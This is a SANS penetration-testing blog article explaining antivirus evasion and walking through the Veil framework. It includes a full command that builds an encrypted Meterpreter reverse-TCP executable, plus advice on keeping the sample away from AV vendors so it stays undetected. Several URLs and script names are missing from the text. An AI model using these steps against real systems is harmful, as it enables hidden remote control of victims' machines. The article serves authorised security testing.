SANS Penetration Testing

SANS Penetration Testing

Anti-Virus Evasion: A Peek Under the Veil

[Editor's Note: In this article, Mark Baggett summarizes some of the Anti-Virus evasion tactics of the past year or two, and then cranks it up a notch, by digging into the details of some recent AV-dodging techniques useful to penetration testers. To be effective penetration testers, we need to model the techniques used by the real-world bad guys, and anti-virus evasion is high on the bad guys' list of things to do to remain undetected in target organizations. Mark builds up to showing how to use Veil for AV evasion, step-by-step, and also discusses how to leverage Veil all in a single command. Nice work, Mark! --Ed.]

By Mark Baggett

Back in October 2011 on the SANS penetration testing blog, I shared a little technique I had been sitting on for a while for bypassing antivirus software. Check it out here: The technique is to embed a payload, that would otherwise be detected by antivirus software into a Python script, in its ASCII form and then execute the code directly from memory. The technique is very effective and still works very well today.

For many years, I kept this as a closely guarded secret because as soon as you share AV evasion techniques, they tend to lose their value. The AV companies respond by tweaking their products to single-out your latest plot, and I wanted to continue to use the technique in my own penetration tests. With the flamer virus and other malware samples distributing interpreters, it appeared the gig was up and AV vendors were going to be all over the technique. I guess I underestimated the difficulty of distinguishing ASCII encoding shellcode from non-malicious software, because today it continues to remain a useful technique.

Then in August 2012, Dave Kennedy released PyInjector. PyInjector creates a Python executable with an embedded ASCII payload in it, but it uses standard Windows API calls to put the payload in memory and execute it. This is a much different approach from the technique I used. Since it is calling the Windows API to place the shell in memory, it works on 64-bit systems. The technique I shared does not work on 64-bit systems without some additional manipulation of data and function calls. The downside to PyInjector using the standard API calls, though, is that a HIPS system that is watching for those calls may detect the injection.

Fast forward to May 2013 when Chris Truncer released Veil. Veil is a Python program that attempts to automate the creation of AV-evading payloads in a new framework. Information and tutorials on the framework are available at and the framework itself can be downloaded from Chris' github at An archive of the project is downloadable here:

The framework can be installed by running the following four commands in a Kali Linuxvirtual machine:

# wget
# unzip
# cd Veil-master/setup

(Note: You need to be in that directory to run the setup, hence my cd command. The setup script uses relative paths to call into the ../config directory). Now, get things started by running:
# ./

Then change to the "Veil-Master" directory and launch the ./Veil python script. The Veil window will appear. You see that today it has 16 payloads:

You can obtain a list of all the payloads with the "list" command:

The payloads include PyInjector-style payload injection with or without encryption and PowerShell injection of payloads. Both of these methods are very effective for AV evasion. I am a Python snob, so I want to use the python/AESVirtualAlloc payload. This method will use the PyInjector style of injection with AES encryption of the payload. I type"use python/AESVirtualAlloc" and press Enter. It loads that component, as shown below:

Next, I issue the "generate" command and press enter to create the executable. Veil needs to know what payload I want to use, so it will ask you a series of questions.

Veil is very user friendly and chooses some good defaults for you. After answering a few questions about our payload, Veil then asks some question about the executable you want to create. First, you provide Veil with a name for your executable, and then you tell it if you want to use PyInstaller or py2exe to create an executable.

After choosing PyInstaller, Veil does the rest of the work for you. It produces the following output screen that tells you about the executable you have created. The screen even includes some EXCELLENT advice and suggests that you DO NOT submit your sample to online virus scanning engines such as that will, in turn, share your payload with antivirus companies, getting your new payload detected by anti-virus companies likely within days or less.

To avoid distribution to anti-virus vendors, you can use That site will scan uploaded files for malware detection, and offersyou a check box that says "Do not distribute the sample". The results are WONDERFUL! 0/14 scanners detect the payload.

The Python programmers reading this will certainly appreciate the source code that is produced. Look at this beautiful hot mess of a program! All the variable names are randomized. The payloads are encrypted and encoded. It is awesome!

But, wait: it gets even better! All of the functionality within the Veil framework is accessible directly from the command line, so you don't have to use the console to generate these payloads. I can generate the same payload by running the following single command:
# ./ -l python -p AESVirtualAlloc -o trytofindthis --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST= LPORT=443

With this command-line-style interface, you can bypass the menu system of Veil, and script up all kinds of powerful goodness.

Kudos to Chris and the other developers working on Veil for creating an excellent tool. Chris recently gave a technical segment to my good friends over at Pauldotcom. Check that out here:

Do you wish you knew a bit more about how to leverage the power of Python code in your penetration tests? Check out SANS new Python for Penetration testers course.

The course will be running in Vegas this September. Sign up today!

--Mark Baggett

Follow me on Twitter @MarkBaggett